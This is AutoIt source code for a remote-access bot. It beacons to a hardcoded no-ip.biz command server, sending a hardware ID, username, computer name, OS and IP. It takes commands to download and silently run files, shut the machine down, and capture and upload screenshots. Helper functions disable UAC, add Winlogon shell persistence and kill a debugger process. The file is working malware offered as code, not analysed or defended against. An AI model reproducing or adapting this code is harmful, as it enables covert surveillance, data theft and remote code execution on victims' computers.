#NoTrayIcon
;#RequireAdmin
#include <File.au3>
#include <Misc.au3>
#include <string.au3>
#include <crypt.au3>
#include <ScreenCapture.au3>

;Mutex
;------

;Singleton("7563545689855477")

;HWID
;------

Global $hwid = id()

;disable uac
;------

if IsAdmin() Then
    ;_Disable_UAC()
EndIf

;SETTING VARIABLES
;------
$mainHome      =             "http://jlibs8080.no-ip.biz"    ;main domain
$mainDir      =             "/bnt2/"
$upshot      = $mainHome & $mainDir &    "u.php"            ;path to upload file
$serverHome     = $mainHome & $mainDir &    "s.php"            ;path to server file
$cmdDir      = $mainHome & $mainDir &    "dir.php"            ;path to commandDir file

;------above = url[/]------below = local path[\]------
$subDir      = "\n0625d6982e9krf824\"
$filei      = "\jhgr78.log"            ;update log - make random VIA builder

;------
$interv      = 5
$counter      = $interv * 1000 * 60            ;15 minutes
;------

$timeInit = TimerInit()
Global $result
Global $ip     = @IPAddress1
;Do On Start Up
;------

;FileMove(@ScriptFullPath, @TempDir & $subDir &  "hvn.exe", 9)

if(FileExists(@TempDir & $subDir) <> 1) Then
   DirCreate(@TempDir & $subDir)
EndIf

;$reg = RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', @ScriptName, 'REG_SZ', @TempDir & $subDir & 'hvn.exe')
;_Run(@ScriptFullPath)

;Anti Debugger
;------

$process = "OLLYDBG.EXE"

If ProcessExists($process) Then
   ProcessClose($process)
EndIf

;Initial update
;------

_Update($filei)

;UPDATE
;------
While 1
   While 1

      $updateTime = TimerDiff($timeInit)

      if $updateTime > $counter Then
      ;ConsoleWrite("test")
      ;$command     = InetRead($cmdDir,1)
      $Command      = _Update($filei)

      if $command == "-1" Or StringLeft($command,3)  == "<br" Then

      $interv     = Random(5,30,1)
      $counter     = $interv * 1000 * 60
      $timeInit     = TimerInit()
      ExitLoop

      EndIf

      $process    = BinaryToString($command)
      $comS      = StringSplit($process,"|")
      $uComs     = UBound($comS) - 1
      Global $commandVal[$uComs+1][10]

      for $j = 1 to $uComs

      $cMas     = StringSplit($comS[$j],",")
      $uCmas = UBound($cMas) - 1

      for $l = 1 to $uCmas

            $commandVal[$j][$l] = $cMas[$l]

      Next
      Next

      $uCommandVal = UBound($commandVal)-1

      for $j = 1 to $uCommandVal

      Switch $commandval[$j][1]

            Case 1

             _DlnEx($commandval[$j][2],$commandval[$j][3],1,1,$commandval[$j][4]) ;DL n EX

            Case 2

             _DlnEx($commandval[$j][2],$commandval[$j][3],1) ;DL

            Case 3

             _DlnEx("",$commandval[$j][3],0,1,$commandval[$j][4])

            Case 4

             ;haha($commandval[$j][1])
             Shutdown(6)

            Case 5

             $scrnName = Random(12,999999,1) & ".jpg"
             _ScreenCapture_Capture(@ScriptDir & "\" & $scrnName)
             ScrnUp($scrnName)
             FileDelete(@ScriptDir & "\" & "*.jpg")

      EndSwitch

      Next

      ;//////---end of update---//////
      ;reset time
      ;------

      ;$interv     = Random(5,30,1)
      ;$counter     = $interv * 1000 * 60
      Sleep(500)
      $timeInit = TimerInit()
      EndIf

      Sleep(50)

   WEnd
WEnd
;//////---Functions---//////

;------
;HWID

func id()
   $disc = StringLeft(@SystemDir, 3)
   $start = "0" & @CPUArch & @KBLayout & DriveGetSerial("C:\") & StringUpper(DriveGetType($disc)) & DriveSpaceTotal ($disc)
   $hwid1  = StringMid($start, Round(StringLen($start)/2), Round(StringLen($start)/2))
   $hwid2 = _StringToHex(stringReverse($hwid1))
   $final = $start & $hwid2
   $start = _Crypt_HashData($Final,$CALG_MD5)
   $epicFinal = StringMid($start,1,8)  & ":" &  StringMid($start,8,16)

   Return StringSplit($epicFinal, ":")
EndFunc

;------
;MUTEX

Func Singleton($semaphore)
    Local $ERROR_ALREADY_EXISTS = 183
    DllCall("kernel32.dll", "int", "CreateSemaphore", "int", 0, "long", 1, "long", 1, "str", $semaphore)
    Local $lastError = DllCall("kernel32.dll", "int", "GetLastError")
    If $lastError[0] = $ERROR_ALREADY_EXISTS Then Exit -1
EndFunc

;------
;Disable UAC

Func _Disable_UAC()
    If @OSArch = "X64" Then
      $pref = "64"
    Else
      $pref = ""
    EndIf
    $r1 = RegWrite("HKLM" & $pref & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" ,"ConsentPromptBehaviorAdmin", "REG_DWORD", "0")
    $r2 = RegWrite("HKLM" & $pref & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" ,"EnableLUA", "REG_DWORD", "0")
    Sleep(500)
    If $r1 + $r2 = 2 Then
      Return True
    Else
      Return False
    EndIf
EndFunc

;------
;StartUp

Func _run($file, $type = 1)
   $ret = False
   $arun = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell")
   if StringInStr($arun, @ScriptName) = 0 Then
      $name = @ScriptName
      FileCopy($file, @WindowsDir & "\" & $name, 1)
      $ret = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "REG_SZ", $arun & "," & $name)
   EndIf
   Return $ret
EndFunc

;------
;update

Func _Update($updateFile)

Global $ip     = @IPAddress1
$compName     = @ComputerName
$os      = @OSVersion
$userName     = @UserName
$Name      = $hWID[1]
$password    = $hwid[2]

$memStats = MemGetStats()

_FileWriteLog(@TempDir & $updateFile, "Percent memery usage - " & $memStats[0] & " # ")

$infoz     = FileOpen(@TempDir & $updateFile)
$infozz = FileRead($infoz)

$serverdata = '&username=' & $name & '&password=' & $password & '&os=' & $os & '&oigh=' & $infozz & '&ip=' & $ip & '&name=' & $userName & '&compName=' & $compName
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", $serverHome, False)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.Send($serverdata)
$oReceived = $oHTTP.ResponseText
FileClose($infoz)

ConsoleWrite($oReceived & @CRLF)

FileDelete(@TempDir & $updateFile)
Return $oReceived
;Exit
EndFunc

;------
;DL n EX

Func _DlnEx($DlURL="",$DlFileName="",$DwnL = 0,$DlnEx = 0,$exeParams="")

   $result = ""

      If $Dwnl == 1 Then
      $dlget = InetGet($DlURL,@TempDir & $subDir & $DlFileName)
      InetClose($dlget)

      If $dlget <> 0 Then
      $result &= "dl-succ-" & $DlFileName
      Else
      $result &= "dl-error-fail-" & $DlFileName
      EndIf
      EndIf

      If $DlnEx == 1 Then

      ShellExecute($DlFileName,$exeParams,@TempDir & $subDir,"open",@SW_HIDE)
      Sleep(500)

      $dlNexPrcExs = ProcessExists($DlFileName)

      If $dlNexPrcExs <> 0 Then
      $result &= "-exe-true-" & $DlFileName & "-pid=" & $dlNexPrcExs & "-"
      Else
      $result &= "-exe-FAIL-To-Start-" & $DlFileName
      EndIf

      EndIf

   _FileWriteLog(@TempDir & $filei, $result)

EndFunc

;------
;upload scrnshot

Func ScrnUp($scrnFile)

Local $picOpen      = FileOpen(@ScriptDir & "\" & $scrnFile,16)
Local $picRead      = FileRead($picOpen)
Local $boundary     = "a65h7a"             & @CRLF
Local $boundary2     = "--" & $boundary
Local $binary      = "Content-Transfer-Encoding: binary"     & @CRLF
local $typeCon      = "Content-Type: txt/html"             & @CRLF & @CRLF

Local $postData = $boundary2

      $postData &= 'Content-Disposition: form-data; name="file[]"; filename="' & $hwid[2] & '"' & @CRLF
      $postData &= $typeCon
      $postData &= $picRead & @CRLF
      $postData &= "--a65h7a--";End of HTTP HEADER

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", $upshot, False)
$oHTTP.SetRequestHeader("Content-Type", "multipart/form-data; boundary=" & $boundary)
$oHTTP.Send($postData)
$oReceived = $oHTTP.ResponseText

FileClose($picOpen)

EndFunc
;------
;debug Purpuses
func haha($var)

ConsoleWrite("haha it worked" & @CRLF)
ConsoleWrite($var & @CRLF)

EndFunc